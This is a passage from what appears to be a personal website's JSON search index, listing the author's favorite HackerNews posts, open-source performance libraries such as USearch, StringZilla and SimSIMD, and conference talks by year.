Faster Than Nvidia on H100. Understanding SIMD: Infinite complexity of trivial problems Abusing vector search for texts, maps, and chess. Apple to Apple Comparison: M1 Max vs. Intel. Server Hardware Super-Cycle 2022. Failing to reach DDR4 bandwidth. Python, C, Assembly – Faster Cosine Similarity. Combinatorial Stable Marriages for DBMS Semantic Joins. Faking SIMD to Search and Sort Strings 5x Faster. SimSIMD v3.6.7: Hardware-accelerated similarity metrics and distance functions. StringZilla v2: Fastest string sort, search, split, and shuffle using SIMD. ","permalink":"https://ashvardanian.com/hackernews/","summary":"\u003cp\u003eI often post on Reddit and HackerNews, with the latter being a surprisingly well-balanced platform for technical discussions with less personal bias.\nHere are some of my favorite publications that made headlines on HackerNews:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=35042316\"\u003eUp to 100x Faster FastAPI with simdjson and io_uring on Linux 5.19\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=34970045\"\u003eBeating OpenAI CLIP with 100x less data and compute\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=43727743\"\u003eLess Slow C++\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=46276826\"\u003eFull Unicode Search at 50× ICU Speed with AVX‑512\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=45402820\"\u003eBeyond OpenMP in C++ and Rust: Taskflow, Rayon, Fork Union\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=45304807\"\u003eProcessing Strings 109x Faster Than Nvidia on H100\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=42237938\"\u003eUnderstanding SIMD: Infinite complexity of trivial problems\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=35887983\"\u003eAbusing vector search for texts, maps, and chess\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=29670624\"\u003eApple to Apple Comparison: M1 Max vs. Intel\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=29954447\"\u003eServer Hardware Super-Cycle 2022\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=30178764\"\u003eFailing to reach DDR4 bandwidth\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=38684461\"\u003ePython, C, Assembly – Faster Cosine Similarity\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=36772545\"\u003eCombinatorial Stable Marriages for DBMS Semantic Joins\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=37273963\"\u003eFaking SIMD to Search and Sort Strings 5x Faster\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=39111114\"\u003eSimSIMD v3.6.7: Hardware-accelerated similarity metrics and distance functions\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://news.ycombinator.com/item?id=37304306\"\u003eStringZilla v2: Fastest string sort, search, split, and shuffle using SIMD\u003c/a\u003e.\u003c/li\u003e\n\u003c/ol\u003e","title":"HackerNews Favorites"},{"content":"All of my software is hosted on GitHub, mostly under the Apache-2.0 permissive license. Free for commercial and non-commercial use, modification, and distribution.\nMajor Projects USearch - a universal search engine powering many databases, AI labs, and experiments in Natural Sciences. Compact C++ core with 10+ language bindings — 10–100× faster than Meta FAISS for vector search and far beyond Apache Lucene. StringZilla - SIMD, SWAR, and CUDA-accelerated string algorithms for search, matching, hashing, and sorting at Web Scale and Bioinformatics scale. Hundreds of hand-tuned kernels with manual multi-versioning, exposed to C, C++, Rust, Python, Swift, and JavaScript, up to 10× faster on CPUs and 100× faster on GPUs. SimSIMD - an extensive collection of mixed-precision vector math kernels for C, Python, Rust, and JavaScript. Designed for linear algebra, scientific computing, statistics, information retrieval, and image processing, delivering consistent SIMD speedups over BLAS and NumPy on both x86 and ARM architectures. UCall - a kernel-bypass web server backend for C and Python built on io_uring. Achieves 70× higher throughput and 50× lower latency than FastAPI for real-time workloads, including serving compact AI models. UForm - tiny multimodal AI models with state-of-the-art parameter and data efficiency. Compatible with Python, JS, and Swift, serving as a lightweight alternative to OpenAI CLIP for on-device and server inference. ForkUnion - ultra-low-latency parallelism library for Rust and C++. Avoids allocations, mutexes, and even Compare-And-Swap atomics — achieving up to 10× speedups over Rayon and TaskFlow. Some of those are used in open-source databases, like ClickHouse, DuckDB, TiDB, ScyllaDB, yugabyteDB, DragonflyDB, MemGraph, Vald, Turso, LLM toolchains, like LangChain, LlamaIndex, Microsoft SemanticKernel, Nomic AI GPT4All, Surf, and many other less \u0026ldquo;open\u0026rdquo; systems, such as backend infrastructure of major AI labs, government intelligence agencies, Hyper-scale cloud companies, Fortune 500, iOS and Android apps with 100M-1B MAU.\nTutorials \u0026amp; Datasets less_slow.cpp - teaches a performance oriented mindset for C++, CUDA, PTX, and ASM less_slow.rs - Rust adaptation with a focus on higher-level abstractions less_slow.py - Python adaptation with a focus on scripting \u0026amp; data-management SpaceV - 1 billion vectors from Microsoft SpaceV extended for usability USearchMolecules - 28 billion fingerprints for drug discovery, published with AWS Demos \u0026amp; Benchmarks UStore - multimodal embedded database for C, C++, and Python designed around key-value stores StringWars - micro-benchmarking StringZilla against the best Rust tools HashEvals - testing avalanche effect \u0026amp; differential patterns of string hash functions ScalingElections - parallel combinatorial voting in CUDA and Mojo for H100 GPUs TinySemVer - semantic versioning GitHub CI tool that doesn\u0026rsquo;t take 300K lines of JavaScript SwiftSemanticSearch - example of on-device real-time AI using UForm and USearch on iOS ParallelReductionsBenchmark - GPGPU benchmarks for SyCL, CUDA, OpenCL, Vulkan, etc. LibSee - non-intrusively profiling LibC calls with LD_PRELOAD tricks PyBindToGPUs - C++ and CUDA starter kit for Python developers avoiding CMake StringTape - Apache Arrow compatible tapes for space-efficient string arrays JaccardIndex - exploring CPU port utilization with Carry-Save Adders \u0026amp; Lookups USearchBench.py - Billion-scale search benchmarks against FAISS, Weaviate, and Qdrant USearchBench.java - Billion-scale search scaling benchmarks against Lucene, using Spark ucsb - parallel benchmarks for ACID-compliant key-value stores, like RocksDB affine-gaps - \u0026ldquo;less wrong\u0026rdquo; local and global Gotoh sequence alignments in one NumBa Python file faster-fasta - CLI tool for to parse, sort, dedup, and translate DNA, RNA, \u0026amp; protein sequences ","permalink":"https://ashvardanian.com/software/","summary":"\u003cp\u003eAll of my software is hosted on GitHub, mostly under the \u003ca href=\"https://opensource.org/licenses/Apache-2.0\"\u003eApache-2.0\u003c/a\u003e permissive license.\nFree for commercial and non-commercial use, modification, and distribution.\u003c/p\u003e\n\u003ch2 id=\"major-projects\"\u003eMajor Projects\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/unum-cloud/USearch\"\u003eUSearch\u003c/a\u003e\u003c/strong\u003e - a universal search engine powering many databases, AI labs, and experiments in Natural Sciences. Compact C++ core with 10+ language bindings — 10–100× faster than Meta FAISS for vector search and far beyond Apache Lucene.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/ashvardanian/StringZilla\"\u003eStringZilla\u003c/a\u003e\u003c/strong\u003e - SIMD, SWAR, and CUDA-accelerated string algorithms for search, matching, hashing, and sorting at Web Scale and Bioinformatics scale. Hundreds of hand-tuned kernels with manual multi-versioning, exposed to C, C++, Rust, Python, Swift, and JavaScript, up to 10× faster on CPUs and 100× faster on GPUs.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/ashvardanian/SimSIMD\"\u003eSimSIMD\u003c/a\u003e\u003c/strong\u003e - an extensive collection of mixed-precision vector math kernels for C, Python, Rust, and JavaScript. Designed for linear algebra, scientific computing, statistics, information retrieval, and image processing, delivering consistent SIMD speedups over BLAS and NumPy on both x86 and ARM architectures.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/unum-cloud/UCall\"\u003eUCall\u003c/a\u003e\u003c/strong\u003e - a kernel-bypass web server backend for C and Python built on io_uring. Achieves 70× higher throughput and 50× lower latency than FastAPI for real-time workloads, including serving compact AI models.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/unum-cloud/UForm\"\u003eUForm\u003c/a\u003e\u003c/strong\u003e - tiny multimodal AI models with state-of-the-art parameter and data efficiency. Compatible with Python, JS, and Swift, serving as a lightweight alternative to OpenAI CLIP for on-device and server inference.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/ashvardanian/ForkUnion\"\u003eForkUnion\u003c/a\u003e\u003c/strong\u003e - ultra-low-latency parallelism library for Rust and C++. Avoids allocations, mutexes, and even Compare-And-Swap atomics — achieving up to 10× speedups over Rayon and TaskFlow.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSome of those are used in open-source databases, like \u003ca href=\"https://github.com/ClickHouse/ClickHouse\"\u003eClickHouse\u003c/a\u003e, \u003ca href=\"https://github.com/duckdb/duckdb\"\u003eDuckDB\u003c/a\u003e, \u003ca href=\"https://github.com/pingcap/tidb\"\u003eTiDB\u003c/a\u003e, \u003ca href=\"https://github.com/scylladb/scylladb\"\u003eScyllaDB\u003c/a\u003e, \u003ca href=\"https://github.com/yugabyte/yugabyte-db\"\u003eyugabyteDB\u003c/a\u003e, \u003ca href=\"https://github.com/dragonflydb/dragonfly\"\u003eDragonflyDB\u003c/a\u003e, \u003ca href=\"https://github.com/memgraph\"\u003eMemGraph\u003c/a\u003e, \u003ca href=\"https://github.com/vdaas/vald\"\u003eVald\u003c/a\u003e, \u003ca href=\"https://github.com/tursodatabase/turso\"\u003eTurso\u003c/a\u003e, LLM toolchains, like \u003ca href=\"https://github.com/langchain-ai/langchain\"\u003eLangChain\u003c/a\u003e, \u003ca href=\"https://github.com/run-llama/semtools\"\u003eLlamaIndex\u003c/a\u003e, \u003ca href=\"https://github.com/microsoft/semantic-kernel\"\u003eMicrosoft SemanticKernel\u003c/a\u003e, \u003ca href=\"https://github.com/nomic-ai/gpt4all\"\u003eNomic AI GPT4All\u003c/a\u003e, \u003ca href=\"https://github.com/deta/surf\"\u003eSurf\u003c/a\u003e, and many other less \u0026ldquo;open\u0026rdquo; systems, such as backend infrastructure of major AI labs, government intelligence agencies, Hyper-scale cloud companies, Fortune 500, iOS and Android apps with 100M-1B MAU.\u003c/p\u003e","title":"My Open Software"},{"content":"Most materials are in English unless literally flagged otherwise. The absolute majority is on the subjects of Systems Design, Computer Science, and Artificial Intelligence. The 🗣️ talking head links aren\u0026rsquo;t technical, and in the ones with a 👯‍♂️ - I am just a wingman supporting another speaker.\n2025 PyTorch \u0026amp; Lightning AI Meetup: Matrix Multiplication Assembly Instructions. London, UK. Event. YouTube. OpenUK 2025: Linux Kernel 6 - Path to 10x Faster Databases and Networking. London, UK. YouTube. PyTorch Meetup 21 at Databricks: Scaling Vector Search Up \u0026amp; Out with Spark. London, UK. Event. OpenUK 2025: Democratizing AI - Optimizing Matrix Multiplications on Intel, Apple, AMD, NVIDIA \u0026amp; AWS Chips. London, UK. YouTube. PyData London 101: USearch - the Search Engine Behind Most New RAG Pipelines. London, UK. Event. C++ \u0026amp; Rust Cross-over Meetup: Writing \u0026ldquo;Less Slow\u0026rdquo; C++. London, UK. Event. 2024 ScyllaDB P99 Conf: Internet-Scale Semantic, Structural, and Text Search in Real Time. Event. YouTube. UC Berkeley Open Source AI Day: Open Source Search: Two Decades of Bad Design Decisions \u0026amp; Legacy Software. Event. YouTube. Arize Observe 2024. Event. Neural Search Podcast: JIT Assembly to Build Exascale AI Infrastructure. YouTube. Attention Heads Podcast: Large scale data processing for AI apps. YouTube. Zaiste Programming Podcast: Unlocking the Future of AI with Open Source. YouTube. Multimodal Visual Question Answering. Event. YouTube. 👯‍♂️ 2023 AI.dev Linux Foundation Conference: Retrieval Augmentation and Semantic Search at Scale. San Jose, California, US. Event, YouTube. All Things Open Conference: Bird\u0026rsquo;s Eye View of Open-Source AI Infrastructure. Raleigh, North Carolina, US. Event. Slides, YouTube. UC Berkeley Sky Lab Seminar: Vector Search at Scale - Bottlenecks and Solutions. Berkeley, California, US. Event. Cloud Native London: Future of Open-Source AI Infrastructure. London, UK. Event. Highload++ Conference: Vector Search and Databases at Scale. Belgrade Serbia. Event, Slides, YouTube. Python SF Group: Accelerated Datascience Libraries and Where to Find Them. Sentry HQ, San Francisco, California, US. Event, YouTube. CppCast Podcast #359: On AI Infrastructure. Event. Spotify, Apple Podcasts, Google Podcasts. Amazon AWS Podcast #32: Can you make a database 6-7 times faster? Spotify, Podbean, Apple Podcasts, Google Podcasts. 🇷🇺 Attention Heads Podcast #4: Large scale data processing for AI apps. YouTube. DigiTech Conference: On deep tech startups and the development of the industry in Armenia. Yerevan, Armenia. Event. YouTube. 🗣️ EVN Disrupt Podcast: Building AI While Embracing the Unorthodox. Event podcast. YouTube. Spotify. Apple Podcasts. 🗣️ Voxel 51 Meetup: Scaling Similarity Search with USearch. Event. YouTube. 2022 Designing the fastest ACID Key-Value Store @ Highload++. YouTube. Slides. 3M: Prospects and Challenges with Multi-Modal Models in AI Research @ DataFest. YouTube. Slides. Accelerated Data Science Libraries @ PyData Conference. YouTube. Slides. Life Altering Technologies @ Global Innovation Forum. YouTube. 🗣️ Persistent Memory Technologies Overview @ AMD \u0026amp; Xilinx. Role of C++ in Machine Learning discussion @ CppRussia. YouTube. 🇷🇺 From OpenCL, Thrust \u0026amp; CUB to raw CUDA Kernels \u0026amp; SyCL @ CppArm Meetup #3. GitHub. Fast Inference for Large Language Models with Vladimir Orshulevich @ PyData Meetup #2. YouTube. 👯‍♂️ Unsafe Math, GCC Attributes, and Nifty Tricks for Google Benchmark @ CppArm Meetup #4. GitHub. A Practical Approach to Error Handling by Arno Schödl @ CppRussia. YouTube. 👯‍♂️ Accelerated Data-Science Tools Overview @ PYerevan Meetup #16. YouTube. Bindings 101: CPython, cGo, and Java Native Interface @ CppArm Meetup #5. GitHub, YouTube. 2021 On High-Performance Computing @ Mars Podcast. YouTube. 🇦🇲 Evolution: C++11, 14, 17, 20, 23, 26? @ CppArm Meetup #2. YouTube Peta-Scale software in 2021 @ Code Republic. YouTube. Slides 🇦🇲 On the Gituzh Scientific Initiative @ FM106.5. YouTube. 🇦🇲 🗣️ SIMD with EVE by Denis Yaroshevskiy @ CppRussia. YouTube. 👯‍♂️ 2020 SIMD = Performance you have already paid for @ CppRussia Conference. GitHub. YouTube. Slides. 🇷🇺 SIMD. Frequency Scaling Licenses and Speculative Execution @ CppArm Meetup #1. GitHub, YouTube. Conversing about High-Performance Computing @ Pure Virtual Cast #4. YouTube. 🇷🇺 Artsakh Must Be Independent. YouTube. 🗣️ 2019 Deep dive into GPGPU programming @ CppRussia Conference. GitHub. YouTube. Slides. AI and Computational Graphs in C++ @ CppBayArea. GitHub. Efficient GPGPU Programming @ JetBrains HQ. GitHub, YouTube. ","permalink":"https://ashvardanian.com/talks/","summary":"\u003cp\u003eMost materials are in English unless \u003cdel\u003eliterally\u003c/del\u003e flagged otherwise.\nThe absolute majority is on the subjects of Systems Design, Computer Science, and Artificial Intelligence.\nThe 🗣️ talking head links aren\u0026rsquo;t technical, and in the ones with a 👯‍♂️ - I am just a wingman supporting another speaker.\u003c/p\u003e\n\u003ch2 id=\"2025\"\u003e2025\u003c/h2\u003e\n\n\n    \n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"allowfullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube-nocookie.com/embed/bDRo7Cf7x1o?autoplay=0\u0026controls=1\u0026end=0\u0026loop=0\u0026mute=0\u0026start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\n      \u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n\n\u003cul\u003e\n\u003cli\u003ePyTorch \u0026amp; Lightning AI Meetup: Matrix Multiplication Assembly Instructions. London, UK. \u003ca href=\"https://www.meetup.com/london-pytorch-meetup/events/305522836\"\u003eEvent\u003c/a\u003e. \u003ca href=\"https://youtu.be/bDRo7Cf7x1o\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eOpenUK 2025: Linux Kernel 6 - Path to 10x Faster Databases and Networking. London, UK. \u003ca href=\"https://youtu.be/xzFYuTqGd6o\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePyTorch Meetup 21 at Databricks: Scaling Vector Search Up \u0026amp; Out with Spark. London, UK. \u003ca href=\"https://www.meetup.com/london-pytorch-meetup/events/310701289\"\u003eEvent\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eOpenUK 2025: Democratizing AI - Optimizing Matrix Multiplications on Intel, Apple, AMD, NVIDIA \u0026amp; AWS Chips. London, UK. \u003ca href=\"https://youtu.be/Qujweq6Gf5A\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePyData London 101: USearch - the Search Engine Behind Most New RAG Pipelines. London, UK. \u003ca href=\"https://www.meetup.com/pydata-london-meetup/events/311635959\"\u003eEvent\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eC++ \u0026amp; Rust Cross-over Meetup: Writing \u0026ldquo;Less Slow\u0026rdquo; C++. London, UK. \u003ca href=\"https://www.meetup.com/cpplondon/events/310272299\"\u003eEvent\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"2024\"\u003e2024\u003c/h2\u003e\n\n\n    \n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"allowfullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube-nocookie.com/embed/LPv7QybMPxU?autoplay=0\u0026controls=1\u0026end=0\u0026loop=0\u0026mute=0\u0026start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\n      \u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n\n\u003cul\u003e\n\u003cli\u003eScyllaDB P99 Conf: Internet-Scale Semantic, Structural, and Text Search in Real Time. \u003ca href=\"https://www.p99conf.io/\"\u003eEvent\u003c/a\u003e. \u003ca href=\"https://youtu.be/yn87sxRsOj0\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eUC Berkeley Open Source AI Day: Open Source Search: Two Decades of Bad Design Decisions \u0026amp; Legacy Software. \u003ca href=\"https://lu.ma/71y9vyb2?tk=7HrekN\"\u003eEvent\u003c/a\u003e. \u003ca href=\"https://youtu.be/LPv7QybMPxU\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eArize Observe 2024. \u003ca href=\"https://arize.com/observe-2024/\"\u003eEvent\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eNeural Search Podcast: JIT Assembly to Build Exascale AI Infrastructure. \u003ca href=\"https://youtu.be/zFq4-198OpQ\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eAttention Heads Podcast: Large scale data processing for AI apps. \u003ca href=\"https://youtu.be/p96nkMM7wnM\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eZaiste Programming Podcast: Unlocking the Future of AI with Open Source. \u003ca href=\"https://youtu.be/D7pCY2ySicM\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eMultimodal Visual Question Answering. \u003ca href=\"https://voxel51.com/computer-vision-events/may-30-2024-ai-machine-learning-data-science-meetup/\"\u003eEvent\u003c/a\u003e. \u003ca href=\"https://youtu.be/q_WWtZp4vgg\"\u003eYouTube\u003c/a\u003e. 👯‍♂️\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"2023\"\u003e2023\u003c/h2\u003e\n\n\n    \n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"allowfullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube-nocookie.com/embed/UMrhB3icP9w?autoplay=0\u0026controls=1\u0026end=0\u0026loop=0\u0026mute=0\u0026start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\n      \u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n\n\u003cul\u003e\n\u003cli\u003eAI.dev Linux Foundation Conference: Retrieval Augmentation and Semantic Search at Scale. San Jose, California, US. \u003ca href=\"https://aidevcass23.sched.com/event/1VRvK\"\u003eEvent\u003c/a\u003e, \u003ca href=\"https://youtu.be/ODTpIbJ-Vks\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eAll Things Open Conference: Bird\u0026rsquo;s Eye View of Open-Source AI Infrastructure. Raleigh, North Carolina, US. \u003ca href=\"https://2023.allthingsopen.org\"\u003eEvent\u003c/a\u003e. \u003ca href=\"https://drive.google.com/file/d/12bSVtE0ruQ_6lQSRNZN6juS2ybYL9T3S/view?usp=sharing\"\u003eSlides\u003c/a\u003e, \u003ca href=\"https://www.youtube.com/watch?v=PQKYc0zK0iU\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eUC Berkeley Sky Lab Seminar: Vector Search at Scale - Bottlenecks and Solutions. Berkeley, California, US. \u003ca href=\"https://sky.cs.berkeley.edu/events/sky-seminar-ashot-vardanian-unum-vector-search-at-scale-bottlenecks-and-solutions/\"\u003eEvent\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eCloud Native London: Future of Open-Source AI Infrastructure. London, UK. \u003ca href=\"https://www.meetup.com/cloud-native-london/events/292727770/\"\u003eEvent\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eHighload++ Conference: Vector Search and Databases at Scale. Belgrade Serbia. \u003ca href=\"https://highload.rs/2023/abstracts/9770\"\u003eEvent\u003c/a\u003e, \u003ca href=\"https://drive.google.com/file/d/11M51Jw9UdEmzHDTGZmn4n3bxgTcQt3sw/view?usp=sharing\"\u003eSlides\u003c/a\u003e, \u003ca href=\"https://www.youtube.com/watch?v=UMrhB3icP9w\u0026amp;t=65s\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePython SF Group: Accelerated Datascience Libraries and Where to Find Them. Sentry HQ, San Francisco, California, US. \u003ca href=\"https://www.meetup.com/sfpython/events/skwnctyfchbnb/\"\u003eEvent\u003c/a\u003e, \u003ca href=\"https://youtu.be/L9ELuU3GeNc\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eCppCast Podcast #359: On AI Infrastructure. \u003ca href=\"https://cppcast.com/ai_infrastructure/\"\u003eEvent\u003c/a\u003e. \u003ca href=\"https://open.spotify.com/episode/0GBepAsjOFerG9bT20WmFw\"\u003eSpotify\u003c/a\u003e, \u003ca href=\"https://podcasts.apple.com/us/podcast/ai-infrastructure/id968703120?i=1000611006222\"\u003eApple Podcasts\u003c/a\u003e, \u003ca href=\"https://podcasts.google.com/feed/aHR0cHM6Ly9jcHBjYXN0LmNvbS9mZWVkLnJzcw/episode/ZjgwNzRkZmItNTUzNC00N2QwLWFjNDctZmNmNGRmMTc1NzQ1\"\u003eGoogle Podcasts\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n    \n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"allowfullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube-nocookie.com/embed/PQKYc0zK0iU?autoplay=0\u0026controls=1\u0026end=0\u0026loop=0\u0026mute=0\u0026start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\n      \u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n\n\u003cul\u003e\n\u003cli\u003eAmazon AWS Podcast #32: Can you make a database 6-7 times faster? \u003ca href=\"https://open.spotify.com/episode/7CsVxDOq8nYEBrQxRExM56\u0026amp;nd=1\"\u003eSpotify\u003c/a\u003e, \u003ca href=\"https://www.podbean.com/media/share/pb-vqhii-13e0414\"\u003ePodbean\u003c/a\u003e, \u003ca href=\"https://podcasts.apple.com/by/podcast/032-%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE-%D0%BB%D0%B8-%D1%83%D1%81%D0%BA%D0%BE%D1%80%D0%B8%D1%82%D1%8C-%D0%B1%D0%B0%D0%B7%D1%83-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85-%D0%B2-6-7-%D1%80%D0%B0%D0%B7/id1600771698?i=1000608732451\"\u003eApple Podcasts\u003c/a\u003e, \u003ca href=\"https://podcasts.google.com/feed/aHR0cHM6Ly9mZWVkLnBvZGJlYW4uY29tL2F3c25hcnVzc2tvbS9mZWVkLnhtbA/episode/YXdzbmFydXNza29tLnBvZGJlYW4uY29tL2M0YjY3NzZiLTdkN2MtMzEzYS1hYzQwLWI5ZWIyNjUwM2ExMw?sa=X\u0026amp;ved=0CAUQkfYCahcKEwjAjJ_X6bD-AhUAAAAAHQAAAAAQAQ\"\u003eGoogle Podcasts\u003c/a\u003e. 🇷🇺\u003c/li\u003e\n\u003cli\u003eAttention Heads Podcast #4: Large scale data processing for AI apps. \u003ca href=\"https://youtu.be/p96nkMM7wnM\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eDigiTech Conference: On deep tech startups and the development of the industry in Armenia. Yerevan, Armenia. \u003ca href=\"https://www.digitec.am/ashot-vardanian\"\u003eEvent\u003c/a\u003e. \u003ca href=\"https://youtube.com/watch?v=V3L-O_qv7uU\"\u003eYouTube\u003c/a\u003e. 🗣️\u003c/li\u003e\n\u003cli\u003eEVN Disrupt Podcast: Building AI While Embracing the Unorthodox. \u003ca href=\"https://evnreport.com/podcasts/evn-disrupt/ashot-vardanyan-building-ai-while-embracing-the-unorthodox/\"\u003eEvent\u003c/a\u003e podcast. \u003ca href=\"https://www.youtube.com/watch?v=mvpyJLW2lZI\"\u003eYouTube\u003c/a\u003e. \u003ca href=\"https://open.spotify.com/episode/71wdHxO4oqfRCUsoaF1J0D\"\u003eSpotify\u003c/a\u003e. \u003ca href=\"https://podcasts.apple.com/am/podcast/ashot-vardanyan-building-ai-while-embracing-the/id1252212513?i=1000596262592\"\u003eApple Podcasts\u003c/a\u003e. 🗣️\u003c/li\u003e\n\u003cli\u003eVoxel 51 Meetup:  Scaling Similarity Search with USearch. \u003ca href=\"https://voxel51.com/blog/recapping-the-ai-machine-learning-and-data-science-meetup-dec-7-2023/\"\u003eEvent\u003c/a\u003e. \u003ca href=\"https://youtu.be/x10DpjeegQk\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"2022\"\u003e2022\u003c/h2\u003e\n\n\n    \n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"allowfullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube-nocookie.com/embed/ybWeUf_hC7o?autoplay=0\u0026controls=1\u0026end=0\u0026loop=0\u0026mute=0\u0026start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\n      \u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eDesigning the fastest ACID Key-Value Store\u003c/strong\u003e @ \u003ca href=\"https://highload.am/2022/abstracts/9673\"\u003eHighload++\u003c/a\u003e. \u003ca href=\"https://www.youtube.com/watch?v=ybWeUf_hC7o\"\u003eYouTube\u003c/a\u003e. \u003ca href=\"https://drive.google.com/file/d/16gdazzt9DTpCWPuXBAV2JSe1NW-Y7HvQ/view\"\u003eSlides\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e3M: Prospects and Challenges with Multi-Modal Models in AI Research\u003c/strong\u003e @ \u003ca href=\"https://datafest.am\"\u003eDataFest\u003c/a\u003e. \u003ca href=\"https://youtu.be/p3RMkiqd7vY\"\u003eYouTube\u003c/a\u003e. \u003ca href=\"https://drive.google.com/file/d/166UgMRVM1ORJPWQ74oRc2UH-bKmPHbqI/view\"\u003eSlides\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAccelerated Data Science Libraries\u003c/strong\u003e @ 